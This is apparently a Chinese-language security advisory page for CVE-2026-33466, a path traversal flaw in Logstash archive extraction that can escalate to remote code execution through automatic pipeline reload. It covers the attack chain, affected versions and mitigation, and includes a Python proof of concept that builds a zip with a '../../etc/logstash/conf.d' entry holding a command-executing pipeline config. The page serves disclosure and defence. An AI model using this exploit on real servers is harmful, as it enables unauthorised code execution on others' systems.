IPBUF安全漏洞报告
English
CVE-2026-33466 CVSS 8.1 高危

CVE-2026-33466 Logstash路径遍历致RCE漏洞

披露日期: 2026-04-08

漏洞信息

漏洞编号
CVE-2026-33466
漏洞类型
路径遍历
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Elastic Logstash

相关标签

路径遍历远程代码执行LogstashCWE-22任意文件写入

漏洞概述

Logstash 在处理压缩归档文件时存在路径遍历漏洞(CWE-22)。由于其对归档文件中文件路径的验证机制存在缺陷,攻击者可以通过受控或被篡改的更新端点向 Logstash 提供特制的恶意压缩包。成功利用该漏洞可导致攻击者在宿主机文件系统中以 Logstash 进程权限写入任意文件。在启用自动管道重载的特定配置下,该漏洞可被进一步升级为远程代码执行(RCE),从而完全控制受影响的服务器。

技术细节

该漏洞的核心在于 Logstash 使用的归档提取工具未能正确限制文件路径,触发了路径遍历攻击(CWE-22)。在正常情况下,解压操作应将文件限制在特定目录内,但由于缺乏对 `../` 等相对路径字符的过滤或规范化检查,攻击者可以将压缩包内的文件名构造为指向系统任意位置的路径(如 `../../etc/cron.d/payload`)。攻击者首先需要能够向 Logstash 提供压缩包,这通常通过伪造更新源或利用供应链攻击实现。当 Logstash 解压恶意文件时,由于未进行安全校验,恶意文件会被写入预期目录之外。虽然任意文件写入本身已构成严重威胁,但结合 Logstash 的自动管道重载功能,风险进一步升级。Logstash 会监控配置目录的变化并自动加载新的管道配置。如果攻击者写入一个恶意的管道配置文件(例如执行系统命令的配置),Logstash 将自动解析并执行其中的指令,最终导致远程代码执行。整个利用过程无需用户交互,且在某些网络配置下无需认证即可触发,CVSS 3.1 评分高达 8.1。

攻击链分析

STEP 1
1. 漏洞侦察与准备
攻击者识别出目标 Logstash 实例启用了自动更新或通过受控端点获取插件/配置,并构造包含恶意路径(如 ../../)的压缩包文件。
STEP 2
2. 投递恶意载荷
攻击者通过网络向 Logstash 的更新端点上传特制的恶意压缩包,该压缩包内部文件名包含路径遍历字符。
STEP 3
3. 路径遍历与文件写入
Logstash 解压压缩包时,由于未正确校验路径,将恶意文件写入到宿主机文件系统的敏感目录(如配置目录)。
STEP 4
4. 代码执行
如果目标配置了自动管道重载,Logstash 检测到新配置文件并自动加载执行,导致攻击者预设的命令在服务器上运行。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import zipfile import os # Create a zip file containing a path traversal payload # This simulates the malicious archive sent to Logstash zip_filename = "malicious_archive.zip" # Malicious Logstash pipeline configuration to achieve RCE # This config executes a shell command (e.g., creating a file or reverse shell) payload_content = """ input { exec { command => "touch /tmp/pwned_by_logstash" interval => 0 } } output { stdout {} } """ with zipfile.ZipFile(zip_filename, 'w') as zf: # Construct a filename with path traversal sequences # This attempts to write outside the intended extraction directory # Assuming Logstash reloads configs from /etc/logstash/conf.d/ zinfo = zipfile.ZipInfo("../../etc/logstash/conf.d/malicious_pipeline.conf") zinfo.compress_type = zipfile.ZIP_DEFLATED zf.writestr(zinfo, payload_content) print(f"[+] Created malicious archive: {zip_filename}") print("[+] Upload this to the vulnerable Logstash update endpoint.") print("[+] If automatic pipeline reload is enabled, RCE will be triggered.")

影响范围

Logstash < 8.19.14
Logstash < 9.2.8
Logstash < 9.3.3

防御指南

临时缓解措施
如无法立即升级,建议禁用 Logstash 的自动管道重载功能,并严格限制更新端点的访问权限,仅允许可信的源地址进行插件或配置更新。此外,应监控系统中是否存在异常写入的配置文件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表